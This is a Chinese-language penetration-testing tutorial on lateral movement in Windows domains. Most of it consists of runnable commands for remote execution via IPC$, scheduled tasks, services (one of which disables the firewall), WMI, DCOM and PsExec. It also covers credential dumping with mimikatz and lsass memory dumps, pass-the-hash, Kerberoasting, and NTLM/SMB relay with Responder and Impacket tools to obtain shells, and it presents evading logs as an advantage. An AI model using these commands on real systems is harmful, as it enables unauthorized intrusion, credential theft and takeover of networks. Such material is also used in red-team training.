利用Windwos遠程連接
IPC
IPC可以通過驗證用戶名和密碼獲得相應的權限,通常在遠程管理計算機和查看計算機的共享資源時使用。
建立IPC連接
有域的話一定得帶上
net use \\1.1.1.3\ipc$ /user:w2k3\administrator "1"
輸入net use即可看到建立的連接
常用的命令
//映射磁盤到本地
net use e: \\1.1.1.3\c$
//刪除映射的磁盤
net use e: /del
//列出主機的文件
dir \\1.1.1.3\c$
//tasklist查看對方的進程
tasklist /s 1.1.1.3 /u w2k3\administrator /p 1
//斷開連接
net use \\1.1.1.3\ipc$ /del
利用Windwos計划任務
Windows 可用於創建計划任務的命令有兩個,分別是 at 和 schtasks,at 在 Windows Server 2008 及之后的系統中,已經被廢棄了
- 1、查看目標主機時間
- 2、上傳可執行文件到目標主機
- 3、設置計划任務執行可執行文件
- 4、刪除計划任務
查看主機時間
net time \\1.1.1.3
將 bat 程序上傳到目標主機
copy evil.bat \\1.1.1.3\c$
利用 at 命令
at \\1.1.1.3 20:19:10 c:\calc.bat
清除id為1的任務
at \\1.1.1.3 1 /del
我們還可以例如直接powershell加載一個馬反彈shell。像上面那種操作是不會回顯的,我們可以將at計划任務直接執行系統命令然后寫入文本。
at \\1.1.1.1 17:05:00 cmd.exe /c "ipconfig > C:\result.txt"
然后使用type命令遠程讀取該文件
type \\1.1.1.1\c$\result.txt
利用 schtasks 命令
# 開機以 system 權限執行 C:\calc.bat
schtasks /create /s 1.1.1.1 /tn calc /sc onstart /tr C:\calc.bat /ru system /f
這樣子執行的話可能會報錯,因為某些策略的問題。
我們需要加上用戶名密碼
schtasks /create /s 1.1.1.2 /u administrator /p xxx /tn calc /sc onstart /tr C:\calc.bat /ru system /f
這樣子就沒問題。如果需要它馬上運行我們可以
schtasks /run /s 1.1.1.2 /u administrator /p xxx /i /tn "calc"
執行如下命令強制刪除該計划任務:
schtasks /delete /s 1.1.1.2 /tn "calc" /f
想回顯執行命令和上面操作一樣,寫個文件就行。
利用Windwos服務
SC
使用條件:
- 當前跳板機用戶具有管理員權限(因為要創建服務)。
- 與目標機器已經建立ipc連接
做好上面步驟我們創建一個sc服務
sc \\1.1.1.2 create shell binpath= "c:\shell.exe"
注意這里的格式,“=”后面是必須空一格的,否則會出現錯誤。
立即啟動服務
sc \\1.1.1.2 start shell
使用完后刪除剛才創建的服務
sc \\1.1.1.2 delete shell #刪除服務
我們還可以通過設置服務來關閉防火牆:
sc \\1.1.1.2 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\1.1.1.2 start unablefirewall
Hash的抓取與傳遞攻擊
LM Hash 和 NTLM Hash
Windwos操作系統通常采用兩種方法對用戶的明文密碼進行加密處理。域環境中的話,用戶信息存儲在ntds.dit,加密后為散列值。
操作系統密碼一部分為LM Hash,另一部分為NTLM Hash。在Windwos操作系統中,Hash結構通常為
username:RID:LM-HASH:NT-HASH
LM HASH的加密流程如下:
- 1、密碼長度限制為14個字符
- 2、密碼全部轉換為大寫
- 3、密碼轉換為16進制字符串,不足14字節用0補全
- 4、密碼的16進制字符串被分成兩個7byte部分
- 5、再分7bit為一組,每組末尾加0,再組成一組
- 6、上步驟得到的二組,分別作為key 為 “KGS!@#$%”進行DES加密。
- 7、將加密后的兩組拼接在一起,得到最終LM HASH值。
為了解決LM HASH強度不夠的問題,微軟推出了NTLM HASH:
- 1、先將用戶密碼轉換為十六進制格式。
- 2、將十六進制格式的密碼進行Unicode編碼。
- 3、使用MD4對Unicode編碼數據進行Hash計算
因為在vista后不再支持LM HASH,因此抓到的hash中的LM HASH都是aad3b435b51404eeaad3b435b51404ee
在hash傳遞攻擊時,可以替換成0:00000000000000000000000000000000
Hash抓取
在windows上,C:\Windows\System32\config目錄保存着當前用戶的密碼hash。我們可以使用相關手段獲取該hash。
使用reg命令獲取本地用戶憑據hash:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
然后利用mimikatz讀取文件,把上述文件放在和mimikatz同目錄下。
lsadump::sam /sam:sam.hive /system:system.hive /security security.hive
PwDump7
mimikatz
privilege::debug
token::elevate
lsadump::sam
從lsass.exe中獲取散列值和明文密碼
privilege::debug
sekurlsa::logonpasswords
但是這個不一定可以抓到明文密碼。主要還是kb2871997的問題。kb2871997補丁會刪除除了wdigest ssp以外其他ssp的明文憑據,但對於wdigest ssp只能選擇禁用。用戶可以選擇將HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential更改為0來禁用。但是kb2871997對於本地Administrator(rid為500,操作系統只認rid不認用戶名)和本地管理員組的域用戶是沒有影響的。
//開啟
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
//關閉
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
powershell
//開啟
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
//關閉
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
我們還可以導出lsass.dmp文件來使用mimikatz進行解密
- 使用任務管理器
- 使用Procdump
第一種找到程序然后導出到內存就可以。
第二種是微軟官方出的工具。
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
如果要破解的話可以使用Hashcat或者在線的站點。
Hash傳遞攻擊
使用Mimikatz進行PTH
當我們抓取到域管理員的NTLM Hash時我們可以用mimikatz獲取的Administrator的Hash添加進lsass中
privilege::debug
sekurlsa::pth /user:administrator /domain:hacker /ntlm:b07ca2629fec66cca1e412ef7e7a6cd9
然后回彈出一個新的窗口,這時訪問遠程主機或服務,就不用提供明文密碼了,如下,我們列出了域控制器DC的c盤目錄(要使用主機名,不能用IP,否則報錯):
之后,攻擊者便可以利用Windows7跳板機任意訪問內網其他機器中的文件,進行上傳、下載等操作,還可以在目標機器上運行其他命令,以獲取目標機器的目錄結構、用戶列表等信息。
MSF進行PTH
在msf中常用的模塊有
auxiliary/admin/smb/psexec_command // 在目標機器上執行系統命令
exploit/windows/smb/psexec // 用psexec執行系統命令
exploit/windows/smb/psexec_psh // 使用powershell作為payload
以第二個為例攻擊內網的其他機器
成功進行橫向移動,這里注意這里的smbpass選項,其可以為明文密碼,也可以為Hash,但Hash必須是完整的,如果不知道前面的LM Hash部分,可以像上面那樣用0代替
利用PsExec
利用Psexec.exe
下載地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
psexec 是 windows 下非常好的一款遠程命令行工具。psexec的使用不需要對方主機開方3389端口,只需要對方開啟admin$共享 (該共享默認開啟)。但是,假如目標主機開啟了防火牆,psexec也是不能使用的,會提示找不到網絡路徑。由於PsExec是Windows提供的工具,所以殺毒軟件將其列在白名單中。
PsExec的基本原理:
-
- 通過ipc$連接,釋放二進制文件psexecsvc.exe到目標
-
- 通過服務管理SCManager遠程創建一個psexec服務,並啟動服務
-
- 客戶端連接執行命令,服務端通過服務啟動相應的程序執行命令並回顯數據
-
- 運行結束后刪除服務
PsExec前提條件:
- 對方主機開啟了 admin$ 共享,如果關閉了admin$共享,會提示:找不到網絡名
- 對方未開啟防火牆
- 如果是工作組環境,則必須使用administrator用戶連接(因為要在目標主機上面創建並啟動服務),使用其他賬號(包括管理員組中的非administrator用戶)登錄都會提示訪問拒絕訪問。
- 如果是域環境,即可用普通域用戶連接也可以用域管理員用戶連接。連接普通域主機可以用普通域用戶,連接域控只能用域管理員賬戶。
操作命令如下:
PsExec.exe -accepteula \\1.1.1.3 -u hacker\administrator -p xxxx -s cmd.exe
- -accepteula:第一次運行psexec會彈出確認框,使用該參數就不會彈出確認框
- -u:用戶名
- -p:密碼
- -s:以system權限運行運程進程,獲得一個system權限的交互式shell。如果不使用該參數,會獲得一個連接所用用戶權限的shell
利用MSF的Psexec模塊
常用模塊
exploit/windows/smb/psexec // 用psexec執行系統命令,與psexec.exe相同
exploit/windows/smb/psexec_psh // 使用powershell作為payload(PsExec的PowerShell版本)
auxiliary/admin/smb/psexec_command // 在目標機器上執行系統命令
exploit/windows/smb/ms17_010_psexec
使用exploit/windows/smb/psexec_psh,該模塊生成的payload主要是有powershell實現的。powershell作為Windows自帶的腳本運行環境,免殺效果比由exploit/windows/smb/psexec生成的exe版payload好。但是,因為Windows 7、Windows Server 2008及以上版本的操作系統才默認有powershell,所以如果遇到默認不含powershell的Windows XP或Windows Server 2003,就要使用由exploit/windows/smb/psexec生成的exe版本的payload。
注意:在使用psexec執行遠程命令時,會在目標系統中創建一個psexec服務。命令執行后,psexec服務將會被自動刪除。由於創建或刪除服務時會產生大量的日志,所以會在攻擊溯源時通過日志反推攻擊流程。
利用WMI
WMI是由一系列工具集組成的,可以通過/node選項使用端口135上的遠程過程調用(RPC)進行通信以進行遠程訪問,它允許系統管理員遠程執行自動化管理任務,例如遠程啟動服務或執行命令
通過滲透測試發現,在使用wmiexec進行橫向移動時,Windows操作系統默認不會將WMI的操作記錄在日志中,同時攻擊腳本無需寫入到磁盤,具有極高的隱蔽性。因為在這個過程中不會產生日志,所以,對網絡管理員來說增加了攻擊溯源的成本。而對攻擊者來說,其惡意行為被發現的可能性有所降低、隱蔽性有所提高。由此,越來越多的APT開始使用WMI進行攻擊,利用WMI可以進行信息收集、探測、反病毒、虛擬機檢測、命令執行、權限持久化等操作。
注意:使用WMIC連接遠程主機,需要目標主機開放135和445端口。(135 端⼝是 WMIC 默認的管理端⼝,而 wimcexec 使⽤445端⼝傳回顯)
遠程桌面
wmic /node:1.1.1.3 /USER:hacker\user2 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
查詢進程信息
wmic /node:1.1.1.3 /user:hacker\user2 /password:xxxx process list brief
遠程創建進程
wmic /node:1.1.1.3 /user:hacker\administrator /password:xxx process call create "cmd.exe /c ipconfig > C:\result.txt"
使用WMIC遠程執行命令,在遠程系統中啟動WMIC服務(目標服務器需要開放其默認135端口,WMIC會以管理員權限在遠程系統中執行命令)。如果目標服務器開啟了防火牆,WMIC將無法連接。另外由於wmic命令沒有回顯,需要使用IPC$和type命令來讀取信息。需要注意的是,如果WMIC執行的是惡意程序,也不會留下日志。下面我們介紹一下幾個可以用來執行wmi遠程命令的工具。
利用WMIEXEC
wmiexec是對windows自帶的wmic做了一些強化,讓滲透變得更容易。比較好用的在這里介紹幾種。wmiexec需要提供賬號密碼進行遠程連接,但是如果沒有破解出賬號和明文密碼,也可以配合哈希傳遞或票據注入功能一起使用,先進行傳遞或注入,然后再使用WMIEXEC即可。
Impacket中的wmiexec.py
該腳本是impacket工具包中的一個工具,主要在從Linux像Windows進行橫向滲透時使用,十分強大,可以走socks代理進入內網。
下載地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
python wmiexec.py administrator:密碼@1.1.1.1
// python wmiexec.py 用戶名:密碼@目標IP
如果對wmiexec.py指定-hashes選項的話,則可進行哈希傳遞。
當然還有exe版本的。同理命令
利用DCOM
DCOM(分布式組件對象模型)是微軟基於組件對象模型(COM)的一些列概念和程序接口,COM提供了一套允許在同一台計算機上的客戶端和服務器之間通信的接口。通過DCOM,客戶端程序對象能夠向網絡中的另一台計算機上的服務器程序對象發送請求
下面通過一個實驗來講解如何使用DCOM在遠程主機上面執行命令。在使用該方法的條件如下:
- 需要關閉目標系統的防火牆,如果目標主機DC沒有關閉防火想的話會報錯
- 在遠程主機上執行命令時,必須使用具有本地管理員權限的賬號。
調用MMC20.Application遠程執行命令
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc","Minimized")
如果你開始鏈接了IPC那么你輸入ipc的IP,直接遠程拿shell執行他都沒問題呢
調用9BA05972-F6A8-11CF-A442-00A0C90A8F39
同理,看你連IPC沒,這里記錄本地。
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"127.0.0.1")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc","c:\windows\system32",$null,0)
SPN及其kerberoast攻擊
spn是服務主體的名稱,是服務實例(如:HTTPS,MYSQL)的唯一標識。
SPN介紹
Kerberos認證過程使用SPN將服務實例與服務登錄賬戶相關聯,如果想使用 Kerberos 協議來認證服務,那么必須正確配置SPN。如果在整個林或域中的計算機上安裝多個服務實例,則每個實例都必須具有自己的 SPN。如果客戶端可能使用多個名稱進行身份驗證,則給定服務實例可以具有多個SPN。SPN 始終包含運行服務實例的主機的名稱,因此服務實例可以為其主機的每個名稱或別名注冊SPN。一個用戶賬戶下可以有多個SPN,但一個SPN只能注冊到一個賬戶。在內網中,SPN掃描通過查詢向域控服務器執行服務發現。這對於紅隊而言,可以幫助他們識別正在運行重要服務的主機,如終端,交換機等。SPN的識別是kerberoasting攻擊的第一步。
SPN分為兩種類型:
- 注冊在活動目錄機器(Computers)當一個服務的權限為 Local System 或 Network Service,則SPN注冊在機器帳戶(Computers)下。
- 注冊在活動目錄的域用戶賬戶(Users),當一個服務的權限為一個域用戶,則SPN注冊在域用戶下
SPN的用法
0 注冊一個SPN setspn -S MSSQLSvc/w2k8.hacker.lab user1
1 查看當前域內所有的SPN: setspn -Q /
2 查看指定域hacker.lab注冊的SPN:setspn -T hacker.lab -Q / 如果指定域不存在,則默認切換到查找本域的SPN
3 查找本域內重復的SPN: setspn -X
4 刪除指定SPN:setspn -D SQLServer/w2k8.hacker.lab:1433 user2
5 查找指定用戶/主機名注冊的SPN:setspn -L username/hostname
6 zh
SPN作用舉例
當某用戶需要訪問MySQL服務時,系統會以當前用戶的身份向域控查詢SPN為MySQL的記錄。當找到該SPN記錄后,用戶會再次與KDC通信,將KDC發放的TGT作為身份憑據發送給客戶,並將需要訪問的SPN發送給KDC。KDC中的TGS服務對TGT進行解密。確認無誤后,由TGS將一張允許訪問該SPN所對應的服務的ST服務票據和該SPN所對應的服務的地址發送給用戶,用戶使用該票據即可訪問MySQL服務。
SPN信息收集
setspn
Windows系統自帶的setspn可以查詢域內的SPN,前提是域任意的用戶
setspn -q */*
setspn -T hacker.lab -q */*
GetUserSPNs
GetUserSPNs 是 Kerberoast 工具集中的一個 powershell 腳本,用來查詢域內注冊的 SPN。
PowerView
PowerView 是由 Will Schroeder(https://twitter.com/harmj0y)開發的 Powershell 腳本,在 Powersploit 和 Empire 工具里都有集成,PowerView 相對於上面幾種是根據不同用戶的 objectsid 來返回,返回的信息更加詳細
Import-module .\powerview.ps1
Get-NetUser -SPN
Kerberoasting
介紹 Kerberos 的認證流程時說到,在 KRB_TGS_REP 中,TGS 會返回給 Client 一張票據 ST,而 ST 是由 Client 請求的 Server 端密碼進行加密的。當 Kerberos 協議設置票據為 RC4 方式加密時,我們就可以通過爆破在 Client 端獲取的票據 ST,從而獲得 Server 端的密碼。
根據掃描出的結果使用微軟提供的類 KerberosRequestorSecurityToken 發起 kerberos 請求,申請 ST 票據。
Kerberoasting攻擊一
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/w2k8.hacker.lab:1433"
Kerberos 協議中請求的票據會保存在內存中,可以通過 klist 命令查看當前會話存儲的 kerberos 票據。
使用 mimikatz 導出。
kerberos::list /export
使用 kerberoast 工具集中的 tgsrepcrack.py 工具進行離線爆破,一搜就有了。
Kerberoasting攻擊二
Kerberoasting攻擊方式一中需要通過 mimikatz 從內存中導出票據,Invoke-Kerberoast 通過提取票據傳輸時的原始字節,轉換成 John the Ripper 或者 HashCat 能夠直接爆破的字符串。
使用 Invoke-Kerberoast 腳本 (這里使用的是 Empire 中的 Invoke-Kerberoast.ps1)。
Import-module Invoke-Kerberoast.ps1
Invoke-kerberoast -outputformat hashcat |fl
–outputformat 參數可以指定輸出的格式,可選 John the Ripper 和 Hashcat 兩種格式
使用 HASHCAT 工具進行破解:
NTLM-Relay
上面都是主動性的攻擊,那么NTLM-Relay就是被動式的。在這個NTLM Relay中,我們就是要將截獲的Net-NTLM Hash重放來進行攻擊,從而實現對其他機器的控制,所以嚴格意義上應該叫作Net-NTLM Relay。
為看重放這個Net-NTLM-Relay,首先我們得獲取這個Net-NTLM-Hash。由於SMB、HTTP、LDAP、MSSQL等協議都可以攜帶NTLM認證的三類消息,所以只要是使用SMB、HTTP、LDAP、MSSQL等協議來進行NTLM認證的程序,都可以嘗試向攻擊者發送Net-NTLMhash從而讓攻擊者截獲用戶的Net-NTLMhash。然后一下思路
利用LLMNR和NetBIOS
簡單介紹一下這兩個
LLMNR
本地鏈路多播名稱解析(LLMNR)是一種域名系統數據包格式,當局域網中的 DNS 服務器不可用時,DNS 客戶端就會使用 LLMNR 解析本地網段中機器的名稱,直到 DNS 服務器恢復正常為止。
從 Windows Vista 開始支持 LLMNR ,Linux 系統也通過 systemd 實現了此協議,同時 LLMNR 也支持 IPv6
NetBIOS
NetBIOS 協議是由 IBM 公司開發,主要用於數十台計算機的小型局域網,根據 NetBIOS 協議廣播獲得計算機名稱,並將其解析成相應的 IP 地址。
從 Windows NT 以后版本的所有操作系統中都可以使用 NetBIOS,不過 NetBIOS 不支持 IPv6.
也就是說緩存中找不到,dns也請求失敗的話,windwos就會從LLMNR和NetBIOS中解析。這時候客戶端就會將未經身份驗證的UDP廣播到網絡詢問是否是本地系統名稱,從而允許網絡上的任何機器響應並聲稱是目標機器,所以我們就可以利用工具偽裝從而讓受害者交出憑證。
利用
當受害者機器嘗試登陸攻擊者機器,Responder 就可以獲取受害者機器用戶的 Net-NTLM 哈希值。
Responder 項目地址:https://github.com/lgandx/Responder
Responder 不支持 Windows,這里使用 Kali 進行演示。
Kali監聽着
win7去連接
如上圖所示我們就獲取到了Net-NTLM hash了然后就可以使用hashcat等進行破解
利用WPAD
WPAD 網絡代理自動發現協議是一種客戶端使用DCHP、DNS、LLMNR、NBNS協議來定位一個代理配置文件(PAC)URL的方法。WPAD通過讓瀏覽器自動發現代理服務器,查找存放PAC 文件的主機來定位代理配置文件,下載編譯並運行,最終自動使用代理訪問網絡。
也就是說你上網的配置,如果游覽器設置了自動檢測,客戶端上網的時候就會問,誰是WPAD服務器,然后拿這個pac去上網。
攻擊手法V1
例如我們游覽器訪問一個網站,如果輸錯了一個域名。默認一般就是提示法訪問或者錯的。那我們現在偽造wpad服務的話。
kali監聽
python Responder.py -I eth0 -wFb
//這里使用-b參數強制使用401認證
客戶端訪問一個不存在的域名時會跳出登錄框
游覽器需要自動檢測代理
然后訪問任意域名
攻擊手法V2
最重要的不過還是權限。大家應該知道smb relay,但是這個漏洞很早就在MS08-068補丁中被修復了。但是這個不妨礙我們在未校驗smb簽名等情況下進行NTLM-Relay轉發。我們執行responder,首先關閉掉smb,給接下來的ntlmrelayx使用。
python Responder.py -I eth0
python3 ntlmrelayx.py -t 1.1.1.1 -l ./
當訪問不存在的機器的時候。會中繼到域控機器從而拿到hash
為啥不Relay到其他域控,因為域內就域控默認開啟smb簽名。其他的機器是沒有開的。
SMB-Relay
NTLM-Relay的話基本就是要破解hash。而Relay最有效的就是可以直接控制該服務器(包括但不限於在遠程服務器上執行命令,上傳exe到遠程命令上執行,dump 服務器的用戶hash等等等等)。
主要有兩種場景詳細見:https://www.anquanke.com/post/id/194069#h2-4
工作組環境
這個實用性比較差。在工作組環境里面,工作組中的機器之間相互沒有信任關系,每台機器的賬號密碼Hash只是保存在自己的SAM文件中,這個時候Relay到別的機器,除非兩台機器的賬號密碼一樣(如果賬號密碼一樣,我為啥不直接pth呢),不然沒有別的意義了,這個時候的攻擊手段就是將機器reflect回機子本身。因此微軟在ms08-068中對smb reflect到 smb 做了限制,防止了同一主機從SMB協議向SMB協議的Net-NTLMhash relay。這個補丁在CVE-2019-1384(Ghost Potato)被繞過。
域環境
域環境底下域用戶的賬號密碼Hash保存在域控的 ntds.dit里面。如下沒有限制域用戶登錄到某台機子,那就可以將該域用戶Relay到別人的機子,或者是拿到域控的請求,將域控Relay到普通的機子,比如域管運維所在的機子。(為啥不Relay到其他域控,因為域內就域控默認開啟smb簽名)
Responder中的MultiRelayx.py
python3 MultiRelay.py -t <被攻擊ip> -u ALL
現在 SMB 已經由 MultiRelay.py 腳本來進行中繼,我們需要修改一下responder的配置文件 Responder.conf,不讓其對 hash 進行抓取。將SMB和HTTP的On改為Off:
python3 Responder.py -I eth1
在DC隨便傳遞一個SMB流量
另一邊直接拿到Shell
Impacket中的smbrelayx.py
首先運行如下
python3 smbrelayx.py -h <被攻擊的IP> -c Command
然后我們在在任意一台機器訪問我們的惡意SMB服務器 就是我們這個Kali
net use \\1.1.1.11
就如上圖所示直接回顯命令,實戰中大多是我們直接生成一個msf的木馬,然后使用-e參數
python3 smbrelayx.py -h <被攻擊的IP> -e ./shell.exe
在監聽msf會話的時候需要注意的是,我們要設置set AutoRunScript migrate在成功得到session后自動遷移進程,如果沒有自動遷移進程,那么在Removing file的時候,會話也隨之關閉了。
Impcaket中的ntlmrelayx.py
上面NTML-Relay提到過這個但是只是Hash的利用。這里我們使用一些參數進行Shell的獲取。或者其他命令回顯也是OK的
python Responder.py -I eth0
python3 ntlmrelayx.py -t 1.1.1.1 -c "CS生成Powershell的腳本"
Kerberos票據傳遞及其委派攻擊
kerberos的票據傳遞可以查看https://www.cnblogs.com/R0ser1/p/16086323.html
Kerberos委派攻擊可以查看https://www.cnblogs.com/R0ser1/p/16154451.html
Exchange郵件
等后面環境搭了再補上吧,其中還有幾個cve的大殺器
參考
https://mp.weixin.qq.com/s/OGiDm3IHBP3_g0AOIHGCKA
https://www.anquanke.com/post/id/194069#h2-4
https://www.freebuf.com/articles/244375.html
https://teamssix.com/211027-163641.html#toc-heading-101
https://www.freebuf.com/articles/network/251364.html
https://github.com/chriskaliX/AD-Pentest-Notes